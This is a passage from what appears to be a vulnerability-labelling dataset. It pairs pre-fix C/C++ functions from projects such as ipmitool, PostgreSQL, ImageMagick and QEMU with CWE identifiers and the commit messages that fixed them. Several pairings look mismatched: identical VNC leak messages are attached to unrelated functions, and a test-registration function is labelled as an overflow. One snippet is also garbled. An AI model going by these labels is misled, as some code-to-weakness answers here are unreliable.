tag_type = CV_XML_DIRECTIVE_TAG;\n assert( ptr[1] != '-' || ptr[2] != '-' );\n ptr++;\n }\n else\n CV_PARSE_ERROR_CPP( \"Unknown tag type\" );\n\n tag_name.clear();\n type_name.clear();\n\n for(;;)\n {\n char c, *endptr;\n if( !cv_isalpha(*ptr) && *ptr != '_' )\n CV_PARSE_ERROR_CPP( \"Name should start with a letter or underscore\" );\n\n endptr = ptr - 1;\n do c = *++endptr;\n while( cv_isalnum(c) || c == '_' || c == '-' );\n\n std::string attrname(ptr, (size_t)(endptr - ptr));\n ptr = endptr;\n CV_PERSISTENCE_CHECK_END_OF_BUFFER_BUG_CPP();\n\n if( tag_name.empty() )\n tag_name = attrname;\n else\n {\n if( tag_type == CV_XML_CLOSING_TAG )\n CV_PARSE_ERROR_CPP( \"Closing tag should not contain any attributes\" );\n\n if( *ptr != '=' )\n {\n ptr = skipSpaces( ptr, CV_XML_INSIDE_TAG );\n if( *ptr != '=' )\n CV_PARSE_ERROR_CPP( \"Attribute name should be followed by \\'=\\'\" );\n }\n\n c = *++ptr;\n if( c != '\\\"' && c != '\\'' )\n {\n ptr = skipSpaces( ptr, CV_XML_INSIDE_TAG );\n if( *ptr != '\\\"' && *ptr != '\\'' )\n CV_PARSE_ERROR_CPP( \"Attribute value should be put into single or double quotes\" );\n }\n\n char quote = *ptr++;\n endptr = ptr;\n for(;;)\n {\n c = *endptr++;\n if( c == quote )\n break;\n if( c == '\\0' )\n CV_PARSE_ERROR_CPP( \"Unexpected end of line\" );\n }\n\n if( attrname == \"type_id\" )\n {\n CV_Assert( type_name.empty() );\n type_name = std::string(ptr, (size_t)(endptr - 1 - ptr));\n }\n\n ptr = endptr;\n }\n\n c = *ptr;\n bool have_space = cv_isspace(c) || c == '\\0';\n\n if( c != '>' )\n {\n ptr = skipSpaces( ptr, CV_XML_INSIDE_TAG );\n c = *ptr;\n }\n\n if( c == '>' )\n {\n if( tag_type == CV_XML_HEADER_TAG )\n CV_PARSE_ERROR_CPP( \"Invalid closing tag for ' ) // FIXIT ptr[1] - out of bounds read without check\n CV_PARSE_ERROR_CPP( \"Invalid closing tag for ' && tag_type == CV_XML_OPENING_TAG ) // FIXIT ptr[1] - out of bounds read without check\n {\n tag_type = CV_XML_EMPTY_TAG;\n ptr += 2;\n break;\n }\n\n if( !have_space )\n CV_PARSE_ERROR_CPP( \"There should be space between attributes\" );\n }\n\n return ptr;\n } ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n [/INST] 'cwe': ['CWE-476'], 'message': 'core(persistence): added null ptr checks'" + }, + { + "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n Code: ipmi_fru_print(struct ipmi_intf * intf, struct sdr_record_fru_locator * fru)\n{\n\tchar desc[17];\n\tuint8_t bridged_request = 0;\n\tuint32_t save_addr;\n\tuint32_t save_channel;\n\tint rc = 0;\n\n\tif (!fru)\n\t\treturn __ipmi_fru_print(intf, 0);\n\n\t/* Logical FRU Device\n\t* dev_type == 0x10\n\t* modifier\n\t* 0x00 = IPMI FRU Inventory\n\t* 0x01 = DIMM Memory ID\n\t* 0x02 = IPMI FRU Inventory\n\t* 0x03 = System Processor FRU\n\t* 0xff = unspecified\n\t*\n\t* EEPROM 24C01 or equivalent\n\t* dev_type >= 0x08 && dev_type <= 0x0f\n\t* modifier\n\t* 0x00 = unspecified\n\t* 0x01 = DIMM Memory ID\n\t* 0x02 = IPMI FRU Inventory\n\t* 0x03 = System Processor Cartridge\n\t*/\n\tif (fru->dev_type != 0x10 &&\n\t\t(fru->dev_type_modifier != 0x02 ||\n\t\tfru->dev_type < 0x08 || fru->dev_type > 0x0f))\n\t\treturn -1;\n\n\tif (fru->dev_slave_addr == IPMI_BMC_SLAVE_ADDR &&\n\t\tfru->device_id == 0)\n\t\treturn 0;\n\n\tmemset(desc, 0, sizeof(desc));\n\tmemcpy(desc, fru->id_string, fru->id_code & 0x01f);\n\tdesc[fru->id_code & 0x01f] = 0;\n\tprintf(\"FRU Device Description : %s (ID %d)\\n\", desc, fru->device_id);\n\n\tswitch (fru->dev_type_modifier) {\n\tcase 0x00:\n\tcase 0x02:\n\t\tif (BRIDGE_TO_SENSOR(intf, fru->dev_slave_addr,\n\t\t\t\t\t fru->channel_num)) {\n\t\t\tbridged_request = 1;\n\t\t\tsave_addr = intf->target_addr;\n\t\t\tintf->target_addr = fru->dev_slave_addr;\n\t\t\tsave_channel = intf->target_channel;\n\t\t\tintf->target_channel = fru->channel_num;\n\t\t}\n\t\t/* print FRU */\n\t\trc = __ipmi_fru_print(intf, fru->device_id);\n\t\tif (bridged_request) {\n\t\t\tintf->target_addr = save_addr;\n\t\t\tintf->target_channel = save_channel;\n\t\t}\n\t\tbreak;\n\tcase 0x01:\n\t\trc = ipmi_spd_print_fru(intf, fru->device_id);\n\t\tbreak;\n\tdefault:\n\t\tif (verbose)\n\t\t\tprintf(\" Unsupported device 0x%02x \"\n\t\t\t\t\t\"type 0x%02x with modifier 0x%02x\\n\",\n\t\t\t\t\tfru->device_id, fru->dev_type,\n\t\t\t\t\tfru->dev_type_modifier);\n\t\telse\n\t\t\tprintf(\" Unsupported device\\n\");\n\t}\n\tprintf(\"\\n\");\n\n\treturn rc;\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n [/INST] 'cwe': ['CWE-120'], 'message': 'fru, sdr: Fix id_string buffer overflows\n\nFinal part of the fixes for CVE-2020-5208, see\nhttps://github.com/ipmitool/ipmitool/security/advisories/GHSA-g659-9qxw-p7cp\n\n9 variants of stack buffer overflow when parsing `id_string` field of\nSDR records returned from `CMD_GET_SDR` command.\n\nSDR record structs have an `id_code` field, and an `id_string` `char`\narray.\n\nThe length of `id_string` is calculated as `(id_code & 0x1f) + 1`,\nwhich can be larger than expected 16 characters (if `id_code = 0xff`,\nthen length will be `(0xff & 0x1f) + 1 = 32`).\n\nIn numerous places, this can cause stack buffer overflow when copying\ninto fixed buffer of size `17` bytes from this calculated length.'" + }, + { + "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n Code: ExecAlterObjectDependsStmt(AlterObjectDependsStmt *stmt, ObjectAddress *refAddress)\n{\n\tObjectAddress address;\n\tObjectAddress refAddr;\n\tRelation\trel;\n\n\taddress =\n\t\tget_object_address_rv(stmt->objectType, stmt->relation, (List *) stmt->object,\n\t\t\t\t\t\t\t &rel, AccessExclusiveLock, false);\n\n\t/*\n\t * If a relation was involved, it would have been opened and locked. We\n\t * don't need the relation here, but we'll retain the lock until commit.\n\t */\n\tif (rel)\n\t\ttable_close(rel, NoLock);\n\n\trefAddr = get_object_address(OBJECT_EXTENSION, (Node *) stmt->extname,\n\t\t\t\t\t\t\t\t &rel, AccessExclusiveLock, false);\n\tAssert(rel == NULL);\n\tif (refAddress)\n\t\t*refAddress = refAddr;\n\n\trecordDependencyOn(&address, &refAddr, DEPENDENCY_AUTO_EXTENSION);\n\n\treturn address;\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n [/INST] 'cwe': ['CWE-862'], 'message': 'Fix priv checks for ALTER DEPENDS ON EXTENSION\n\nMarking an object as dependant on an extension did not have any\nprivilege check whatsoever; this allowed any user to mark objects as\ndroppable by anyone able to DROP EXTENSION, which could be used to cause\nsystem-wide havoc. Disallow by checking that the calling user owns the\nmentioned object.\n\n(No constraints are placed on the extension.)\n\nSecurity: CVE-2020-1720\nReported-by: Tom Lane\nDiscussion: 31605.1566429043@sss.pgh.pa.us'" + }, + { + "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n Code: choose_windows(s)\nconst char *s;\n{\n register int i;\n\n for (i = 0; winchoices[i].procs; i++) {\n if ('+' == winchoices[i].procs->name[0])\n continue;\n if ('-' == winchoices[i].procs->name[0])\n continue;\n if (!strcmpi(s, winchoices[i].procs->name)) {\n windowprocs = *winchoices[i].procs;\n\n if (last_winchoice && last_winchoice->ini_routine)\n (*last_winchoice->ini_routine)(WININIT_UNDO);\n if (winchoices[i].ini_routine)\n (*winchoices[i].ini_routine)(WININIT);\n last_winchoice = &winchoices[i];\n return;\n }\n }\n\n if (!windowprocs.win_raw_print)\n windowprocs.win_raw_print = def_raw_print;\n if (!windowprocs.win_wait_synch)\n /* early config file error processing routines call this */\n windowprocs.win_wait_synch = def_wait_synch;\n\n if (!winchoices[0].procs) {\n raw_printf(\"No window types?\");\n nh_terminate(EXIT_FAILURE);\n }\n if (!winchoices[1].procs) {\n config_error_add(\n \"Window type %s not recognized. The only choice is: %s\",\n s, winchoices[0].procs->name);\n } else {\n char buf[BUFSZ];\n boolean first = TRUE;\n\n buf[0] = '\\0';\n for (i = 0; winchoices[i].procs; i++) {\n if ('+' == winchoices[i].procs->name[0])\n continue;\n if ('-' == winchoices[i].procs->name[0])\n continue;\n Sprintf(eos(buf), \"%s%s\",\n first ? \"\" : \", \", winchoices[i].procs->name);\n first = FALSE;\n }\n config_error_add(\"Window type %s not recognized. Choices are: %s\",\n s, buf);\n }\n\n if (windowprocs.win_raw_print == def_raw_print\n || WINDOWPORT(\"safe-startup\"))\n nh_terminate(EXIT_SUCCESS);\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n [/INST] 'cwe': ['CWE-120', 'CWE-269'], 'message': 'command line triggered buffer overruns\n\nPrevent extremely long command line arguments from overflowing local\nbuffers in raw_printf or config_error_add. The increased buffer\nsizes they recently got to deal with long configuration file values\naren't sufficient to handle command line induced overflows.\n\nchoose_windows(core): copy and truncate the window_type argument in\ncase it gets passed to config_error_add().\n\nprocess_options(unix): report bad values with \"%.60s\" so that vsprintf\nwill implicitly truncate when formatted by raw_printf().'" + }, + { + "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n Code: static MagickBooleanType Huffman2DEncodeImage(const ImageInfo *image_info,\n Image *image,Image *inject_image)\n{\n Image\n *group4_image;\n\n ImageInfo\n *write_info;\n\n MagickBooleanType\n status;\n\n size_t\n length;\n\n unsigned char\n *group4;\n\n status=MagickTrue;\n write_info=CloneImageInfo(image_info);\n (void) CopyMagickString(write_info->filename,\"GROUP4:\",MaxTextExtent);\n (void) CopyMagickString(write_info->magick,\"GROUP4\",MaxTextExtent);\n group4_image=CloneImage(inject_image,0,0,MagickTrue,&image->exception);\n if (group4_image == (Image *) NULL)\n return(MagickFalse);\n group4=(unsigned char *) ImageToBlob(write_info,group4_image,&length,\n &image->exception);\n group4_image=DestroyImage(group4_image);\n if (group4 == (unsigned char *) NULL)\n return(MagickFalse);\n write_info=DestroyImageInfo(write_info);\n if (WriteBlob(image,length,group4) != (ssize_t) length)\n status=MagickFalse;\n group4=(unsigned char *) RelinquishMagickMemory(group4);\n return(status);\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n [/INST] 'cwe': ['CWE-401'], 'message': 'https://github.com/ImageMagick/ImageMagick/issues/1542'" + }, + { + "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n Code: regset_search_body_position_lead(OnigRegSet* set,\n const UChar* str, const UChar* end,\n const UChar* start, const UChar* range, /* match start range */\n const UChar* orig_range, /* data range */\n OnigOptionType option, MatchArg* msas, int* rmatch_pos)\n{\n int r, n, i;\n UChar *s, *prev;\n UChar *low, *high, *low_prev;\n UChar* sch_range;\n regex_t* reg;\n OnigEncoding enc;\n SearchRange* sr;\n\n n = set->n;\n enc = set->enc;\n\n s = (UChar* )start;\n if (s > str)\n prev = onigenc_get_prev_char_head(enc, str, s);\n else\n prev = (UChar* )NULL;\n\n sr = (SearchRange* )xmalloc(sizeof(*sr) * n);\n CHECK_NULL_RETURN_MEMERR(sr);\n\n for (i = 0; i < n; i++) {\n reg = set->rs[i].reg;\n\n sr[i].state = SRS_DEAD;\n if (reg->optimize != OPTIMIZE_NONE) {\n if (reg->dist_max != INFINITE_LEN) {\n if ((ptrdiff_t )(end - range) > (ptrdiff_t )reg->dist_max)\n sch_range = (UChar* )range + reg->dist_max;\n else\n sch_range = (UChar* )end;\n\n if (forward_search(reg, str, end, s, sch_range, &low, &high, &low_prev)) {\n sr[i].state = SRS_LOW_HIGH;\n sr[i].low = low;\n sr[i].high = high;\n sr[i].low_prev = low_prev;\n sr[i].sch_range = sch_range;\n }\n }\n else {\n sch_range = (UChar* )end;\n if (forward_search(reg, str, end, s, sch_range,\n &low, &high, (UChar** )NULL)) {\n goto total_active;\n }\n }\n }\n else {\n total_active:\n sr[i].state = SRS_ALL_RANGE;\n sr[i].low = s;\n sr[i].high = (UChar* )range;\n sr[i].low_prev = prev;\n }\n }\n\n#define ACTIVATE_ALL_LOW_HIGH_SEARCH_THRESHOLD_LEN 500\n\n if (set->all_low_high != 0\n && range - start > ACTIVATE_ALL_LOW_HIGH_SEARCH_THRESHOLD_LEN) {\n do {\n int try_count = 0;\n for (i = 0; i < n; i++) {\n if (sr[i].state == SRS_DEAD) continue;\n\n if (s < sr[i].low) continue;\n if (s >= sr[i].high) {\n if (forward_search(set->rs[i].reg, str, end, s, sr[i].sch_range,\n &low, &high, &low_prev) != 0) {\n sr[i].low = low;\n sr[i].high = high;\n sr[i].low_prev = low_prev;\n if (s < low) continue;\n }\n else {\n sr[i].state = SRS_DEAD;\n continue;\n }\n }\n\n reg = set->rs[i].reg;\n REGSET_MATCH_AND_RETURN_CHECK(orig_range);\n try_count++;\n } /* for (i) */\n\n if (s >= range) break;\n\n if (try_count == 0) {\n low = (UChar* )range;\n for (i = 0; i < n; i++) {\n if (sr[i].state == SRS_LOW_HIGH && low > sr[i].low) {\n low = sr[i].low;\n low_prev = sr[i].low_prev;\n }\n }\n if (low == range) break;\n\n s = low;\n prev = low_prev;\n }\n else {\n prev = s;\n s += enclen(enc, s);\n }\n } while (1);\n }\n else {\n int prev_is_newline = 1;\n do {\n for (i = 0; i < n; i++) {\n if (sr[i].state == SRS_DEAD) continue;\n if (sr[i].state == SRS_LOW_HIGH) {\n if (s < sr[i].low) continue;\n if (s >= sr[i].high) {\n if (forward_search(set->rs[i].reg, str, end, s, sr[i].sch_range,\n &low, &high, &low_prev) != 0) {\n sr[i].low = low;\n sr[i].high = high;\n /* sr[i].low_prev = low_prev; */\n if (s < low) continue;\n }\n else {\n sr[i].state = SRS_DEAD;\n continue;\n }\n }\n }\n\n reg = set->rs[i].reg;\n if ((reg->anchor & ANCR_ANYCHAR_INF) == 0 || prev_is_newline != 0) {\n REGSET_MATCH_AND_RETURN_CHECK(orig_range);\n }\n }\n\n if (s >= range) break;\n\n if (set->anychar_inf != 0)\n prev_is_newline = ONIGENC_IS_MBC_NEWLINE(set->enc, s, end);\n\n prev = s;\n s += enclen(enc, s);\n } while (1);\n }\n\n xfree(sr);\n return ONIG_MISMATCH;\n\n finish:\n xfree(sr);\n return r;\n\n match:\n xfree(sr);\n *rmatch_pos = (int )(s - str);\n return i;\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n [/INST] 'cwe': ['CWE-125'], 'message': 'fix #164: Integer overflow related to reg->dmax in search_in_range()'" + }, + { + "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n Code: void UnicodeStringTest::runIndexedTest( int32_t index, UBool exec, const char* &name, char *par)\n{\n if (exec) logln(\"TestSuite UnicodeStringTest: \");\n TESTCASE_AUTO_BEGIN;\n TESTCASE_AUTO_CREATE_CLASS(StringCaseTest);\n TESTCASE_AUTO(TestBasicManipulation);\n TESTCASE_AUTO(TestCompare);\n TESTCASE_AUTO(TestExtract);\n TESTCASE_AUTO(TestRemoveReplace);\n TESTCASE_AUTO(TestSearching);\n TESTCASE_AUTO(TestSpacePadding);\n TESTCASE_AUTO(TestPrefixAndSuffix);\n TESTCASE_AUTO(TestFindAndReplace);\n TESTCASE_AUTO(TestBogus);\n TESTCASE_AUTO(TestReverse);\n TESTCASE_AUTO(TestMiscellaneous);\n TESTCASE_AUTO(TestStackAllocation);\n TESTCASE_AUTO(TestUnescape);\n TESTCASE_AUTO(TestCountChar32);\n TESTCASE_AUTO(TestStringEnumeration);\n TESTCASE_AUTO(TestNameSpace);\n TESTCASE_AUTO(TestUTF32);\n TESTCASE_AUTO(TestUTF8);\n TESTCASE_AUTO(TestReadOnlyAlias);\n TESTCASE_AUTO(TestAppendable);\n TESTCASE_AUTO(TestUnicodeStringImplementsAppendable);\n TESTCASE_AUTO(TestSizeofUnicodeString);\n TESTCASE_AUTO(TestStartsWithAndEndsWithNulTerminated);\n TESTCASE_AUTO(TestMoveSwap);\n TESTCASE_AUTO(TestUInt16Pointers);\n TESTCASE_AUTO(TestWCharPointers);\n TESTCASE_AUTO(TestNullPointers);\n TESTCASE_AUTO(TestUnicodeStringInsertAppendToSelf);\n TESTCASE_AUTO_END;\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n [/INST] 'cwe': ['CWE-190', 'CWE-787'], 'message': 'ICU-20958 Prevent SEGV_MAPERR in append\n\nSee #971'" + }, + { + "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n Code: static int tight_fill_palette(VncState *vs, int x, int y,\n size_t count, uint32_t *bg, uint32_t *fg,\n VncPalette *palette)\n{\n int max;\n\n max = count / tight_conf[vs->tight.compression].idx_max_colors_divisor;\n if (max < 2 &&\n count >= tight_conf[vs->tight.compression].mono_min_rect_size) {\n max = 2;\n }\n if (max >= 256) {\n max = 256;\n }\n\n switch (vs->client_pf.bytes_per_pixel) {\n case 4:\n return tight_fill_palette32(vs, x, y, max, count, bg, fg, palette);\n case 2:\n return tight_fill_palette16(vs, x, y, max, count, bg, fg, palette);\n default:\n max = 2;\n return tight_fill_palette8(vs, x, y, max, count, bg, fg, palette);\n }\n return 0;\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n [/INST] 'cwe': ['CWE-401'], 'message': 'vnc: fix memory leak when vnc disconnect\n\nCurrently when qemu receives a vnc connect, it creates a 'VncState' to\nrepresent this connection. In 'vnc_worker_thread_loop' it creates a\nlocal 'VncState'. The connection 'VcnState' and local 'VncState' exchange\ndata in 'vnc_async_encoding_start' and 'vnc_async_encoding_end'.\nIn 'zrle_compress_data' it calls 'deflateInit2' to allocate the libz library\nopaque data. The 'VncState' used in 'zrle_compress_data' is the local\n'VncState'. In 'vnc_zrle_clear' it calls 'deflateEnd' to free the libz\nlibrary opaque data. The 'VncState' used in 'vnc_zrle_clear' is the connection\n'VncState'. In currently implementation there will be a memory leak when the\nvnc disconnect. Following is the asan output backtrack:\n\nDirect leak of 29760 byte(s) in 5 object(s) allocated from:\n 0 0xffffa67ef3c3 in __interceptor_calloc (/lib64/libasan.so.4+0xd33c3)\n 1 0xffffa65071cb in g_malloc0 (/lib64/libglib-2.0.so.0+0x571cb)\n 2 0xffffa5e968f7 in deflateInit2_ (/lib64/libz.so.1+0x78f7)\n 3 0xaaaacec58613 in zrle_compress_data ui/vnc-enc-zrle.c:87\n 4 0xaaaacec58613 in zrle_send_framebuffer_update ui/vnc-enc-zrle.c:344\n 5 0xaaaacec34e77 in vnc_send_framebuffer_update ui/vnc.c:919\n 6 0xaaaacec5e023 in vnc_worker_thread_loop ui/vnc-jobs.c:271\n 7 0xaaaacec5e5e7 in vnc_worker_thread ui/vnc-jobs.c:340\n 8 0xaaaacee4d3c3 in qemu_thread_start util/qemu-thread-posix.c:502\n 9 0xffffa544e8bb in start_thread (/lib64/libpthread.so.0+0x78bb)\n 10 0xffffa53965cb in thread_start (/lib64/libc.so.6+0xd55cb)\n\nThis is because the opaque allocated in 'deflateInit2' is not freed in\n'deflateEnd'. The reason is that the 'deflateEnd' calls 'deflateStateCheck'\nand in the latter will check whether 's->strm != strm'(libz's data structure).\nThis check will be true so in 'deflateEnd' it just return 'Z_STREAM_ERROR' and\nnot free the data allocated in 'deflateInit2'.\n\nThe reason this happens is that the 'VncState' contains the whole 'VncZrle',\nso when calling 'deflateInit2', the 's->strm' will be the local address.\nSo 's->strm != strm' will be true.\n\nTo fix this issue, we need to make 'zrle' of 'VncState' to be a pointer.\nThen the connection 'VncState' and local 'VncState' exchange mechanism will\nwork as expection. The 'tight' of 'VncState' has the same issue, let's also turn\nit to a pointer.\n\nReported-by: Ying Fang \nSigned-off-by: Li Qiang \nMessage-id: 20190831153922.121308-1-liq3ea@163.com\nSigned-off-by: Gerd Hoffmann '" + }, + { + "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n Code: static int send_mono_rect(VncState *vs, int x, int y,\n int w, int h, uint32_t bg, uint32_t fg)\n{\n ssize_t bytes;\n int stream = 1;\n int level = tight_conf[vs->tight.compression].mono_zlib_level;\n\n#ifdef CONFIG_VNC_PNG\n if (tight_can_send_png_rect(vs, w, h)) {\n int ret;\n int bpp = vs->client_pf.bytes_per_pixel * 8;\n VncPalette *palette = palette_new(2, bpp);\n\n palette_put(palette, bg);\n palette_put(palette, fg);\n ret = send_png_rect(vs, x, y, w, h, palette);\n palette_destroy(palette);\n return ret;\n }\n#endif\n\n bytes = DIV_ROUND_UP(w, 8) * h;\n\n vnc_write_u8(vs, (stream | VNC_TIGHT_EXPLICIT_FILTER) << 4);\n vnc_write_u8(vs, VNC_TIGHT_FILTER_PALETTE);\n vnc_write_u8(vs, 1);\n\n switch (vs->client_pf.bytes_per_pixel) {\n case 4:\n {\n uint32_t buf[2] = {bg, fg};\n size_t ret = sizeof (buf);\n\n if (vs->tight.pixel24) {\n tight_pack24(vs, (unsigned char*)buf, 2, &ret);\n }\n vnc_write(vs, buf, ret);\n\n tight_encode_mono_rect32(vs->tight.tight.buffer, w, h, bg, fg);\n break;\n }\n case 2:\n vnc_write(vs, &bg, 2);\n vnc_write(vs, &fg, 2);\n tight_encode_mono_rect16(vs->tight.tight.buffer, w, h, bg, fg);\n break;\n default:\n vnc_write_u8(vs, bg);\n vnc_write_u8(vs, fg);\n tight_encode_mono_rect8(vs->tight.tight.buffer, w, h, bg, fg);\n break;\n }\n vs->tight.tight.offset = bytes;\n\n bytes = tight_compress_data(vs, stream, bytes, level, Z_DEFAULT_STRATEGY);\n return (bytes >= 0);\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n [/INST] 'cwe': ['CWE-401'], 'message': 'vnc: fix memory leak when vnc disconnect\n\nCurrently when qemu receives a vnc connect, it creates a 'VncState' to\nrepresent this connection. In 'vnc_worker_thread_loop' it creates a\nlocal 'VncState'. The connection 'VcnState' and local 'VncState' exchange\ndata in 'vnc_async_encoding_start' and 'vnc_async_encoding_end'.\nIn 'zrle_compress_data' it calls 'deflateInit2' to allocate the libz library\nopaque data. The 'VncState' used in 'zrle_compress_data' is the local\n'VncState'. In 'vnc_zrle_clear' it calls 'deflateEnd' to free the libz\nlibrary opaque data. The 'VncState' used in 'vnc_zrle_clear' is the connection\n'VncState'. In currently implementation there will be a memory leak when the\nvnc disconnect. Following is the asan output backtrack:\n\nDirect leak of 29760 byte(s) in 5 object(s) allocated from:\n 0 0xffffa67ef3c3 in __interceptor_calloc (/lib64/libasan.so.4+0xd33c3)\n 1 0xffffa65071cb in g_malloc0 (/lib64/libglib-2.0.so.0+0x571cb)\n 2 0xffffa5e968f7 in deflateInit2_ (/lib64/libz.so.1+0x78f7)\n 3 0xaaaacec58613 in zrle_compress_data ui/vnc-enc-zrle.c:87\n 4 0xaaaacec58613 in zrle_send_framebuffer_update ui/vnc-enc-zrle.c:344\n 5 0xaaaacec34e77 in vnc_send_framebuffer_update ui/vnc.c:919\n 6 0xaaaacec5e023 in vnc_worker_thread_loop ui/vnc-jobs.c:271\n 7 0xaaaacec5e5e7 in vnc_worker_thread ui/vnc-jobs.c:340\n 8 0xaaaacee4d3c3 in qemu_thread_start util/qemu-thread-posix.c:502\n 9 0xffffa544e8bb in start_thread (/lib64/libpthread.so.0+0x78bb)\n 10 0xffffa53965cb in thread_start (/lib64/libc.so.6+0xd55cb)\n\nThis is because the opaque allocated in 'deflateInit2' is not freed in\n'deflateEnd'. The reason is that the 'deflateEnd' calls 'deflateStateCheck'\nand in the latter will check whether 's->strm != strm'(libz's data structure).\nThis check will be true so in 'deflateEnd' it just return 'Z_STREAM_ERROR' and\nnot free the data allocated in 'deflateInit2'.\n\nThe reason this happens is that the 'VncState' contains the whole 'VncZrle',\nso when calling 'deflateInit2', the 's->strm' will be the local address.\nSo 's->strm != strm' will be true.\n\nTo fix this issue, we need to make 'zrle' of 'VncState' to be a pointer.\nThen the connection 'VncState' and local 'VncState' exchange mechanism will\nwork as expection. The 'tight' of 'VncState' has the same issue, let's also turn\nit to a pointer.\n\nReported-by: Ying Fang \nSigned-off-by: Li Qiang \nMessage-id: 20190831153922.121308-1-liq3ea@163.com\nSigned-off-by: Gerd Hoffmann '" + }, + { + "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n Code: static void set_encodings(VncState *vs, int32_t *encodings, size_t n_encodings)\n{\n int i;\n unsigned int enc = 0;\n\n vs->features = 0;\n vs->vnc_encoding = 0;\n vs->tight.compression = 9;\n vs->tight.quality = -1; /* Lossless by default */\n vs->absolute = -1;\n\n /*\n * Start from the end because the encodings are sent in order of preference.\n * This way the preferred encoding (first encoding defined in the array)\n * will be set at the end of the loop.\n */\n for (i = n_encodings - 1; i >= 0; i--) {\n enc = encodings[i];\n switch (enc) {\n case VNC_ENCODING_RAW:\n vs->vnc_encoding = enc;\n break;\n case VNC_ENCODING_COPYRECT:\n vs->features |= VNC_FEATURE_COPYRECT_MASK;\n break;\n case VNC_ENCODING_HEXTILE:\n vs->features |= VNC_FEATURE_HEXTILE_MASK;\n vs->vnc_encoding = enc;\n break;\n case VNC_ENCODING_TIGHT:\n vs->features |= VNC_FEATURE_TIGHT_MASK;\n vs->vnc_encoding = enc;\n break;\n#ifdef CONFIG_VNC_PNG\n case VNC_ENCODING_TIGHT_PNG:\n vs->features |= VNC_FEATURE_TIGHT_PNG_MASK;\n vs->vnc_encoding = enc;\n break;\n#endif\n case VNC_ENCODING_ZLIB:\n vs->features |= VNC_FEATURE_ZLIB_MASK;\n vs->vnc_encoding = enc;\n break;\n case VNC_ENCODING_ZRLE:\n vs->features |= VNC_FEATURE_ZRLE_MASK;\n vs->vnc_encoding = enc;\n break;\n case VNC_ENCODING_ZYWRLE:\n vs->features |= VNC_FEATURE_ZYWRLE_MASK;\n vs->vnc_encoding = enc;\n break;\n case VNC_ENCODING_DESKTOPRESIZE:\n vs->features |= VNC_FEATURE_RESIZE_MASK;\n break;\n case VNC_ENCODING_POINTER_TYPE_CHANGE:\n vs->features |= VNC_FEATURE_POINTER_TYPE_CHANGE_MASK;\n break;\n case VNC_ENCODING_RICH_CURSOR:\n vs->features |= VNC_FEATURE_RICH_CURSOR_MASK;\n if (vs->vd->cursor) {\n vnc_cursor_define(vs);\n }\n break;\n case VNC_ENCODING_EXT_KEY_EVENT:\n send_ext_key_event_ack(vs);\n break;\n case VNC_ENCODING_AUDIO:\n send_ext_audio_ack(vs);\n break;\n case VNC_ENCODING_WMVi:\n vs->features |= VNC_FEATURE_WMVI_MASK;\n break;\n case VNC_ENCODING_LED_STATE:\n vs->features |= VNC_FEATURE_LED_STATE_MASK;\n break;\n case VNC_ENCODING_COMPRESSLEVEL0 ... VNC_ENCODING_COMPRESSLEVEL0 + 9:\n vs->tight.compression = (enc & 0x0F);\n break;\n case VNC_ENCODING_QUALITYLEVEL0 ... VNC_ENCODING_QUALITYLEVEL0 + 9:\n if (vs->vd->lossy) {\n vs->tight.quality = (enc & 0x0F);\n }\n break;\n default:\n VNC_DEBUG(\"Unknown encoding: %d (0x%.8x): %d\\n\", i, enc, enc);\n break;\n }\n }\n vnc_desktop_resize(vs);\n check_pointer_type_change(&vs->mouse_mode_notifier, NULL);\n vnc_led_state_change(vs);\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n [/INST] 'cwe': ['CWE-401'], 'message': 'vnc: fix memory leak when vnc disconnect\n\nCurrently when qemu receives a vnc connect, it creates a 'VncState' to\nrepresent this connection. In 'vnc_worker_thread_loop' it creates a\nlocal 'VncState'. The connection 'VcnState' and local 'VncState' exchange\ndata in 'vnc_async_encoding_start' and 'vnc_async_encoding_end'.\nIn 'zrle_compress_data' it calls 'deflateInit2' to allocate the libz library\nopaque data. The 'VncState' used in 'zrle_compress_data' is the local\n'VncState'. In 'vnc_zrle_clear' it calls 'deflateEnd' to free the libz\nlibrary opaque data. The 'VncState' used in 'vnc_zrle_clear' is the connection\n'VncState'. In currently implementation there will be a memory leak when the\nvnc disconnect. Following is the asan output backtrack:\n\nDirect leak of 29760 byte(s) in 5 object(s) allocated from:\n 0 0xffffa67ef3c3 in __interceptor_calloc 